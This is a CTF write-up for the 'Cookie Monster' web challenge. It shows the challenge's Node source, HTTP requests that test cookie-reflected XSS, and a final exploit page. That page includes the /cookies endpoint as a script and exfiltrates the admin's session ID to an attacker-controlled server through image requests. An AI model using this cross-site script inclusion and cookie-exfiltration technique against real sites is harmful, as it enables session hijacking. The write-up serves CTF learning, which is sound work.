Tags: web jsonp 

Rating: 1.0

# ▼▼▼Cookie Monstor(Web:170pts、solved 18/1374=1.3%)▼▼▼

This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)

```
Cookie MonsterWeb1708
My friend sent me this monster of a website - maybe you can figure out what it's doing? I heard the admin here is slightly more cooperative than the other one, though not by much.

Author: lamchcl
```

---

## 【source code】

```
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const express = require('express')
const puppeteer = require('puppeteer')
const crypto = require('crypto')
const fs = require('fs')

const admin_id = "admin_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")
let flag = ""
fs.readFile('flag.txt', 'utf8', function(err, data) {
if (err) throw err;
flag = data
});
const dom = "cookiemonster.2019.chall.actf.co"
let user_num = 0
const thecookie = {
name: 'id',
value: admin_id,
domain: dom,
};

async function visit (url) {
try{
const browser = await puppeteer.launch({
args: ['--no-sandbox']
})
var page = await browser.newPage()
await page.setCookie(thecookie)
await page.setCookie({name: "user_num", value: "0", domain: dom})
await page.goto(url)
await page.close()
await browser.close()
}catch(e){}
}

const app = express()

app.use(cookieParser())
app.use(express.json());
app.use(express.urlencoded({ extended: true }));

app.use('/style.css', express.static('style.css'));

app.use((req, res, next) => {
var cookie = req.cookies?req.cookies.id:undefined
if(cookie === undefined){
cookie = "user_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")
res.cookie('id',cookie,{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})
req.cookies.id=cookie
user_num+=1
res.cookie('user_num',user_num.toString(),{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})
req.cookies.user_num=user_num.toString();
}
if(cookie === admin_id){
res.locals.flag = true;
}else{
res.locals.flag = false;
}
next()
})

app.post('/complain', (req, res) => {
visit(req.body.url);
res.send("<link rel='stylesheet' type='text/css' href='style.css'>okay")
})

app.get('/complain', (req, res) => {
res.send("<link rel='stylesheet' type='text/css' href='style.css'><form method='post'>

give me a url describing the problem and i will probably check it:

<input name='url'>

<input type='submit'>

</form>")
})

app.get('/cookies', (req, res) => {
res.end(Object.values(req.cookies).join(" "))
})

app.get('/getflag', (req, res) => {
res.send("<link rel='stylesheet' type='text/css' href='style.css'>flag: "+(res.locals.flag?flag:"currently unavailable"))
})

app.get('/', (req, res) => {
res.send("<link rel='stylesheet' type='text/css' href='style.css'>look this site is under construction if you have any complaints send them here\n")
})

app.use((err, req, res, next) => {
res.status(500).send('error')
})

app.listen(3000)
```

---

## 【Understanding functions】

```
GET / HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
```

```
HTTP/1.1 200 OK
Content-Length: 191
Content-Type: text/html; charset=utf-8
Date: Thu, 25 Apr 2019 00:03:26 GMT
Etag: W/"bf-uUw2ZNG/iGHTfl8XyF4W4YghCro"
Server: Caddy
Server: nginx/1.14.1
Set-Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; Max-Age=600; Domain=cookiemonster.2019.chall.actf.co; Path=/; Expires=Thu, 25 Apr 2019 00:13:26 GMT; HttpOnly
Set-Cookie: user_num=15189; Max-Age=600; Domain=cookiemonster.2019.chall.actf.co; Path=/; Expires=Thu, 25 Apr 2019 00:13:26 GMT; HttpOnly
X-Powered-By: Express
Connection: close

<link rel='stylesheet' type='text/css' href='style.css'>look this site is under construction if you have any complaints send them here

```

1.Cookie Setting `id` and `user_num`

2.There are hints ``

---

```
GET /complain HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
```

```
<link rel='stylesheet' type='text/css' href='style.css'><form method='post'>

give me a url describing the problem and i will probably check it:

<input name='url'>

<input type='submit'>

</form>
```

3.URL send function.

---

```
POST /complain HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Content-Type: application/x-www-form-urlencoded

url=http://my_server/
```

```
<link rel='stylesheet' type='text/css' href='style.css'>okay
```

4. I confirmed that **HeadlessChrome access my_server**.

---

```
GET /cookies HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Connection: close
Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; user_num=15189
```

```
HTTP/1.1 200 OK
Content-Length: 55
Date: Thu, 25 Apr 2019 00:11:23 GMT
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Connection: close

user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189
```

5. Conetnt-type is `text/plain`, and **a list of cookie values** is displayed

---

```
GET /getflag HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
```

```
<link rel='stylesheet' type='text/css' href='style.css'>flag: currently unavailable
```

6. Location of **flag**

---

## 【Goal】

The goal is to **let admin access /getflag** and send data to my server.

---

## 【Additional investigation】

### 1. Behavior of /cookies

```
GET /cookies HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Cookie: id=<script>alert(1)</script>; user_num=15189;test=ttttttttttttttt
```

```
HTTP/1.1 200 OK
Content-Length: 47
Date: Thu, 25 Apr 2019 00:14:36 GMT
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Content-Type: text/html; charset=utf-8

<script>alert(1)</script> 15189 ttttttttttttttt
```

```
Content-Type: text/html; charset=utf-8

<script>alert(1)</script> 15189 ttttttttttttttt
```

Cookie is vulnerable to **XSS**

---

```
GET /cookies HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; user_num=15189<script>alert(1)</script>;test=<script>alert(2)</script>

```

```
HTTP/1.1 200 OK
Content-Length: 106
Date: Thu, 25 Apr 2019 00:23:03 GMT
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8

user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189<script>alert(1)</script> <script>alert(2)</script>
```

It seems to become Content-Type: **text/html** when html is included in the **top of the responce body**.

---

Then try sending a cookie with **a numeric name**.

```
GET /cookies HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; user_num=15189;1=<script>alert(2)</script>
```

```
HTTP/1.1 200 OK
Content-Length: 81
Date: Thu, 25 Apr 2019 00:23:36 GMT
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Content-Type: text/html; charset=utf-8

<script>alert(2)</script> user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189
```

It was confirmed that when the cookie name is made a number and html is inserted, it is reflected at the top of the response and becomes **text/html**.

It seems that Cookie Monstor gives Cookie and XSS **using DomValidater's XSS**.

However, this behavior was not used as a result...

---

## 【Consider an attack scenario】

### Method 1. Cookie Monstor

Perhaps this method is an assumed solution.

But I did not solve this way

---

### Method 2. Cookie reading by JSONP

I solved this way.

Below is the exploit procedure

---

## 【exploit】

GET `/cookies` response is **normal syntax as javascript.**

```
user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189
```

I thought it would be possible to load data like JSONP.
And get the parameter list in javascript in `/cookies`.

---

I prepared the following script on my server(https://my_server/) and made admin access

```
<script src="https://cookiemonster.2019.chall.actf.co/cookies"></script>
<script>
test=11;

a=(function(){
var propsOrig = [];
var propsGlobal = {};
var win = window.open();
for(var i in win){
propsOrig.push(i);
}
win.close();
for(var i in window){
if(!propsOrig.includes(i)){
propsGlobal[i] = window[i]
}
}
return propsGlobal;
})()
for(var item in a) {
(new Image).src="https://my_server/"+item;
}
</script>
```

The next three accesses came to my server.

```
GET /item
GET /admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM
GET /test
```

Get admin Cookie `admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM=`

---

I accessed `/getflag` with admin Cookie.

```
GET /getflag HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Cookie: id=admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM=;
```

<link rel='stylesheet' type='text/css' href='style.css'>flag: actf{defund_is_the_real_cookie_monster}

`actf{defund_is_the_real_cookie_monster}`

---

This solution may be the unintended solution of the questioner.